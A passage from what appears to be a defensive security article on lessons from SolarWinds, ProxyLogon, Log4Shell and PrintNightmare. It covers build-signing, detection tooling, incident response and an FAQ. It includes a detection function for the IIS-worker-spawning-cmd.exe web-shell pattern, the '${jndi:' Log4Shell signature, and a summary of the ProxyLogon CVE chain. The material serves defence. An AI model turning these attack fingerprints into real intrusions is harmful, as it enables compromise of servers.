Microsoft's designation for the China-based threat actor responsible for the July 2023 forged-token campaign against Outlook Web Access and Exchange Online, affecting approximately twenty-five organizations including U.S. State Department mailboxes [@msrc-storm-0558]. The incident sits outside this article's December 2021 closing window and structures Part 6 of the series.
**Cross-vendor and managed-service-provider supply chains.** The SolarWinds-class lesson did not generalize. The 3CX VoIP-client supply-chain compromise in March 2023 (attributed to UNC4736, a suspected North Korean nexus cluster Mandiant linked to Lazarus-class operations) [@mandiant-3cx-2023], the MOVEit file-transfer mass-exploitation by Cl0p in May-June 2023 [@cisa-aa23-158a], and the Change Healthcare [@unitedhealth-changehc-8k] and CDK Global [@cyberscoop-cdk-2024] cascades in 2024 demonstrated that the build-pipeline-trust lesson translated unevenly across third-party data-transfer and managed-service-provider classes. SLSA and SBOM are necessary tooling; they have not produced a population-level change in cross-vendor supply-chain risk.
The 2023-2024 supply-chain cascade (3CX, MOVEit, Change Healthcare, CDK Global) is the empirical reply to the "SolarWinds taught the industry" narrative. The lesson taught the industry to look for build-pipeline compromise of large software vendors; it did not, at the population level, teach the industry to look for the same class of compromise in mid-market communications, file-transfer, and dealer-management vendors. The structural problem the four-incident cluster of 2020-2021 named is still operative.
**Conditional Access policy drift.** Mature Microsoft Entra tenants routinely carry dozens of Conditional Access policies, with overlapping conditions, exclusions, and break-glass account exceptions. The cloud-identity equivalent of BloodHound -- a graph-analysis approach to enumerating reachable Tier-0 identities and policy bypasses -- remains research-grade in 2026. AzureHound and BloodHound Community Edition [@bloodhound-specterops] extend the on-premises model to the cloud, but production tooling for policy-graph analysis has not yet reached parity with the rate at which CA policies accumulate.
**SBOM as forensics tool versus prevention tool.** The Log4Shell IR experience demonstrated SBOM's *forensics* utility: organizations that had SBOM data answered "are we exposed?" in hours, while organizations without it took weeks. The *prevention* utility -- refusing to install software whose components fail policy -- has been slower to mature, both because component-policy semantics are not standardized and because the practical effect would be a substantial change to the enterprise software procurement model.
## 10. What a Practitioner Does Today
If you are reading this on a Monday, here is what you do this week, this quarter, this year, and what you stop trying to do entirely.
**Lane 1: Preventive hygiene.** Inventory vendor build-pipeline exposure. Which vendors push signed code to your endpoints? Which auto-update? Which are deployed via SCCM, Intune, or Workspace ONE? The inventory is the SolarWinds homework. Inventory internet-facing pre-auth surfaces (the ProxyLogon homework).
For build pipelines you own, the operational answer to the SUNSPOT lesson is the four-primitive chain that OpenSSF's SLSA v1.0 framework calls Build Level 3 [@slsa-v1-requirements]:
1. **GitHub Actions OIDC ID tokens** as workflow-bound short-lived identities, requested via `permissions: id-token: write` in the workflow YAML. The token's subject claim binds the job to a named workflow file and ref [@github-oidc-docs].
2. **Sigstore Fulcio** as the public-good keyless-signing certificate authority. Fulcio accepts the OIDC token plus an in-memory ephemeral keypair and returns a ~10-minute X.509 cert with the workflow SAN encoded into it [@sigstore-ccs2022, @cosign-signing-overview].
3. **cosign** signs the artifact with the ephemeral key and uploads the signature, certificate, and transparency-proof bundle [@cosign-signing-overview].
4. **Rekor**, the Trillian-backed Merkle-tree transparency log at `rekor.sigstore.dev`, returns a signed entry timestamp that asserts the signature existed before any later attacker could back-date it [@sigstore-rekor-docs].
No human signing key. No long-lived signing cert. No manual rotation. Every signing event is publicly auditable. SLSA Build Level 3 provenance is generated by the build platform itself through the OpenSSF reference reusable workflow `slsa-framework/slsa-github-generator` and attested through the same cosign + Rekor lane [@slsa-gh-generator]. Pair the chain with one of three SBOM-attestation tools as the predicate payload: Microsoft's `sbom-tool` for SPDX 2.2 / 3.0 drops on Microsoft-stack artifacts [@ms-sbom-tool], Anchore's `syft` for multi-language SPDX + CycloneDX generation natively paired with the Grype vulnerability scanner [@anchore-syft], or Aqua Security's `trivy` for single-step SBOM plus CVE plus IaC plus license plus secret scanning [@aquasec-trivy].
The OpenSSF SLSA framework's third Build-track level [@slsa-v1-requirements], reached when a build produces provenance that is *unforgeable* relative to the build platform itself. SLSA v1.0 (April 2023) defines three Build levels: L1 requires that provenance exists; L2 requires that provenance is authentic (signed by the build platform); L3 requires that provenance is unforgeable -- that is, the build platform's own identity is the signer, and no tenant on the build platform can produce provenance attributable to another tenant. Build L3 is what closes the SUNSPOT class for hosted-CI environments: even a tenant who controls their own build job cannot forge provenance for somebody else's artifact.
The Linux Foundation public-good keyless-signing project, composed of three components: **Fulcio**, a certificate authority that issues short-lived (~10-minute) X.509 certificates binding an ephemeral keypair to an OpenID Connect identity claim; **cosign**, the command-line tool that orchestrates the keyless-signing workflow against Fulcio and Rekor; and **Rekor**, an append-only transparency log built on Google's Trillian Merkle-tree library that records every signing event and returns a signed entry timestamp [@sigstore-ccs2022, @cosign-signing-overview, @sigstore-rekor-docs]. The architectural property Sigstore delivers is the elimination of long-lived signing keys: a build job that runs for ten minutes signs an artifact with a key that exists only for the duration of the job, after which both the key and the certificate expire.
The canonical command-level tutorial for the Lane 1 chain lives at the OpenSSF SLSA "Producing Artifacts" requirements page [@slsa-v1-requirements] and the `slsa-framework/slsa-github-generator` reusable-workflow README [@slsa-gh-generator]; this article is the architectural primer, not the command reference.
Enable LSA Protection on every endpoint that supports it -- not just new Windows 11 22H2 clean installs, but every system in the fleet that can carry the configuration [@ms-lsa-protection]. Enable the Vulnerable Driver Blocklist [@ms-driver-blocklist]. Disable the Print Spooler on Domain Controllers as standing policy, per CISA ED 21-04 [@cisa-ed-21-04]. Roll out Pluton where the OEM ships it enabled; audit "Pluton present but disabled" with the same rigor as "TPM present but disabled."
{`
// Logic equivalent of an audit script that lists trusted publishers
// on a Windows endpoint and flags auto-updating vendors as
// supply-chain-exposed. Demonstrates the inventory shape.
const trustedPublishers = [
{ name: 'SolarWinds Worldwide LLC', autoUpdate: true, deployment: 'SCCM' },
{ name: 'Microsoft Corporation', autoUpdate: true, deployment: 'WindowsUpdate' },
{ name: 'Adobe Inc.', autoUpdate: true, deployment: 'AdobeRMS' },
{ name: 'VMware Inc.', autoUpdate: false, deployment: 'manual' },
];
function exposureScore(p) {
let s = 1;
if (p.autoUpdate) s += 2;
if (p.deployment === 'SCCM' || p.deployment === 'Intune') s += 1;
return s;
}
const ranked = trustedPublishers
.map(p => ({ ...p, score: exposureScore(p) }))
.sort((a, b) => b.score - a.score);
for (const p of ranked) {
console.log(p.score + ' ' + p.name + ' (' + p.deployment + ')');
}
`}
**Lane 2: Detection deployment.** Microsoft Defender for Identity has SACL-based detections for DCSync, Golden Ticket, and Golden SAML signal patterns; deploy them and tune. Microsoft Defender for Endpoint has web-shell detections for the ProxyLogon-class IUSR-spawned `cmd.exe` pattern; deploy them on every Exchange front-end. Sigma rules for the canonical post-exploitation fingerprints (the `${jndi:` substring in any logged event field for Log4Shell-class detection; `RpcAddPrinterDriverEx` for PrintNightmare-class detection on Domain Controllers).
For the Conditional Access policy drift surface §9 names as open-problem-3, three open-source tools form a complementary cohort. None subsumes the others; each closes a structurally distinct detection lane.
**Maester** is a PowerShell + Pester test-automation framework that wraps the Microsoft Graph Conditional Access "What If" evaluation API in the `Test-MtConditionalAccessWhatIf` cmdlet. It ships built-in test profiles aligned to the OMB M-22-09 phishing-resistant-MFA baseline and the CISA ZTMM v2.0 Identity-pillar Optimal stage, and is designed to run as a recurring GitHub Actions, Azure DevOps, or Azure Automation job [@maester-github, @maester-docs, @maester-ca-whatif]. Maester occupies the **assertion lane**: does the deployed CA-policy state pass an asserted baseline under What-If simulation?
**CAOptics**, Joosua Santasalo's Node.js permutation-enumeration tool, evaluates the (subject x app x condition) tuple space against the same Microsoft Graph CA-evaluation API and reports the gaps. It catches break-glass-account exclusion-clause interactions that Maester's assertion profiles do not exercise [@caoptics-github]. CAOptics occupies the **gap-enumeration lane**.
**BloodHound Community Edition with the SpecterOps AzureHound collector** is the cloud-side companion to SharpHound's on-premises Active Directory enumeration. Combined BloodHound CE graph models both on-premises and cloud-identity attack paths with explicit cross-boundary edges for Azure AD Connect, Pass-Through Authentication, hybrid-joined devices, and federated trusts [@azurehound-github, @bloodhound-azurehound-docs, @bloodhound-specterops]. BloodHound CE plus AzureHound occupies the **graph-reachability lane**: what is the set of lateral-movement paths from any identity to any Tier-0 cloud or on-premises identity?
Layer the three tools together. The composition is the operational closure of §5's "policy is code" claim against the §9 open-problem-3 detection lane.
CAOptics was archived read-only by its maintainer in August 2024 with the README note "Project archived due to shifting development priorities" [@caoptics-github]. The tool remains functional and architecturally canonical for the gap-enumeration lane; readers wanting active development for the graph-reachability lane should track SpecterOps's BloodHound CE AzureHound documentation [@bloodhound-azurehound-docs] for the rolling-release collector and BloodHound CE schema updates.{`
# Logic equivalent of a Sigma rule for the ProxyLogon-class web-shell
# pivot. The rule matches the canonical fingerprint of an IIS worker
# spawning cmd.exe under the IUSR identity (Exchange front-end shells
# typically execute under IUSR_ after dropping into IIS).
def matches_proxylogon_pivot(event):
return (
event.get('event_id') == 4688 # process creation
and event.get('parent_process_name', '').lower().endswith('w3wp.exe')
and event.get('process_name', '').lower().endswith('cmd.exe')
and (event.get('user_name') or '').lower().startswith('iusr')
)
example = {
'event_id': 4688,
'parent_process_name': 'C:\\\\Windows\\\\System32\\\\inetsrv\\\\w3wp.exe',
'process_name': 'C:\\\\Windows\\\\System32\\\\cmd.exe',
'user_name': 'IUSR_EXCH01',
}
print('match' if matches_proxylogon_pivot(example) else 'no match')
`}
**Lane 3: Confirmed-compromise response.** A confirmed signed-vendor-update compromise is a vendor-level incident. Rotate every secret the trojanized binary could have read. Treat ADFS token-signing certificates as compromised; rotate them with new private key material on hardware-attested storage where possible. Rotate `krbtgt` twice per the Microsoft AD Forest Recovery procedure to invalidate any [forged Kerberos tickets](/blog/krbtgt-the-account-that-owns-active-directory/). Assume Conditional Access policies were bypassed during the active window if Golden SAML was in play; review sign-in logs for the affected federated trust for the full intrusion window.
The double-`krbtgt` rotation is not paranoia. A single rotation invalidates tickets signed with the prior key; a second rotation, after the configured maximum-ticket-lifetime, ensures the prior-prior key is also retired and no ticket signed with either prior key is still valid. The Microsoft AD Forest Recovery procedure documents the operation explicitly, with a minimum 10-hour wait between resets to exceed the default Maximum-Lifetime-For-User-Ticket and Maximum-Lifetime-For-Service-Ticket policy values [@ms-ad-forest-recovery-krbtgt]. The procedure exists because the second rotation cannot happen until any in-flight ticket with the prior key has expired, and skipping it leaves a window in which forged tickets remain serviceable.
**Lane 4: What does not work.** The operational anti-patterns the four incidents made expensive.
> **Note:** Patching CVE-2021-26855 alone is insufficient if the web shell was already on disk before the patch -- the patch closes the entry; it does not remove the shell. Rotating `krbtgt` does not address Golden SAML; Golden SAML is a SAML-token-signing problem, and `krbtgt` is the Kerberos key. Rotating ADFS token-signing certificates is the corresponding action. Enabling Conditional Access for the identity the attacker forged tokens for is a closed-stable-door fix; Conditional Access enforcement happens at the resource server, and a forged SAML assertion already passed through the identity layer at the moment the resource server checks. Pluton on the workstation does not retroactively protect the Domain Controller -- Pluton is workstation-class silicon in 2023, and Server SKUs are a separate roadmap.
The FAQ closes the audit-flagged premises this article opened with.
## 11. Frequently Asked Questions
No. The canonical pre-auth chain is three CVEs: CVE-2021-26855 (server-side request forgery) into CVE-2021-26858 or CVE-2021-27065 (arbitrary file write) into an ASPX web shell at SYSTEM [@volexity-exchange-marauder, @tenable-exchange-zd]. CVE-2021-26857 is a separate insecure-deserialization RCE in Exchange Unified Messaging that requires authentication; it sits in a parallel position to the SSRF chain rather than as a fused step. The "four chained zero-days" shorthand collapses two distinct attack-class shapes and obscures the SSRF-as-load-bearing-primitive observation. Microsoft's March 2 advisories cover all four CVEs together because they were patched together, not because they were exploited as a single linear chain.
No. See §3.2 Blast radius for the breakdown: Krebs reported "at least 30,000" U.S. organizations pre-patch on March 5 [@krebs-hafnium-march5]; Bloomberg reported "as many as 60,000" worldwide on March 7 [@krebs-hafnium-march5]. The figure that runs toward 250,000 aggregates *post-patch* indiscriminate exploitation by multiple actor groups (LuckyMouse, Tick, Calypso, Winnti, and others, per ESET's March 10 ten-APT-groups analysis [@eset-exchange-10apt-2021]) in the weeks after Microsoft's March 2 advisory; it is not a pre-patch numerator.
The product was called Azure AD Identity Protection at the time. Azure AD Conditional Access (the policy engine) and Azure AD Identity Protection (the risk-signal source) were already integrated before 2021; the integration is what makes risk-based Conditional Access policies possible. The "Entra" brand was introduced on May 31, 2022 as a family umbrella in Vasu Jakkal's "Secure access for a connected world--meet Microsoft Entra" announcement on the Microsoft Security Blog [@ms-entra-launch-may2022], and the rename of Azure AD to Microsoft Entra ID -- and therefore of Azure AD Identity Protection to Microsoft Entra ID Protection -- happened on July 11, 2023 [@ms-entra-rebrand]. Citations to the 2021-2022 product should use the Azure AD naming; citations to the current product use Microsoft Entra ID.
No. NIST SP 800-207 [@nist-sp-800-207] references BeyondCorp as one production implementation of Zero Trust principles, alongside other implementations and prior architectural work. The document is a vendor-neutral synthesis of Kindervag's 2010 Forrester framing [@kindervag-2010-forrester], Forrester's ZTX taxonomy, Gartner's CARTA continuous-evaluation framing, federal TIC guidance, and BeyondCorp's worked example. "Zero Trust" predates BeyondCorp -- Kindervag coined the term in September 2010, four years before Ward and Beyer's first BeyondCorp paper [@ward-beyer-2014-usenix]. The marketing-collapsed reading of "Zero Trust equals BeyondCorp" or "Zero Trust equals Microsoft Conditional Access" obscures a thirteen-year intellectual chain.
The bug is in Apache Log4j, a Java logging library [@log4j-apache-security], and the affected versions are Log4j 2.0 through 2.14.1. The vulnerability is not Windows-specific. It belongs in this Windows-security series because the most enterprise-impactful exploitation in Windows-server fleets ran through Java applications hosted on Windows: Tomcat, JBoss, VMware vCenter and Horizon, Atlassian Confluence and Jamf Pro on Windows, and dozens of internal Java services running on Windows Server with embedded JREs. The architectural lesson -- that transitive dependency graphs are the new universal attack surface -- applies to every operating system that hosts Java, but Windows fleets were a substantial fraction of the affected population.
Both, depending on what is being counted. Pluton was announced on November 17, 2020 [@weston-2020-pluton]. The first commercial PCs to ship with Pluton enabled were the Lenovo ThinkPad Z13 and Z16 with AMD Ryzen 6000 SoCs, announced at CES 2022 on January 4, 2022 [@pluton-windows-blog-jan2022, @lenovo-thinkpad-z-press-jan2022] with general commercial availability starting in May 2022 per Lenovo's StoryHub pricing-and-availability disclosure [@lenovo-thinkpad-z-press-jan2022]. The chipset rollout broadened across 2022-2024 to include AMD Ryzen 7000, 8000, and 9000, Intel Core Ultra 200V and Series 3, and Qualcomm Snapdragon 8cx Gen 3 and X Series processors [@ms-pluton-learn]. Pluton present is not Pluton enabled -- OEMs can disable the processor at the firmware level via PSP directory entry 0xB bit 36 on AMD platforms [@mjg59-pluton] -- so fleet-management claims about Pluton deployment should distinguish "present" from "enabled and acting as the TPM."
The four incidents are the receipt the industry collected on a thirty-six-year-old prediction. The Generation 5 defensive stack is the vocabulary the industry borrowed to talk about what changed. The vocabulary is now sufficient. The trust roots are not. Part 6 picks up the trust-root layer where Generation 5 left it -- Storm-0558 (July 2023), the Microsoft consumer-MSA signing-key compromise that produced enterprise tokens Conditional Access could not distinguish from legitimate ones, and the architectural question it opened: if the policy engine itself is privileged, what closes the compromise of the policy engine as a class?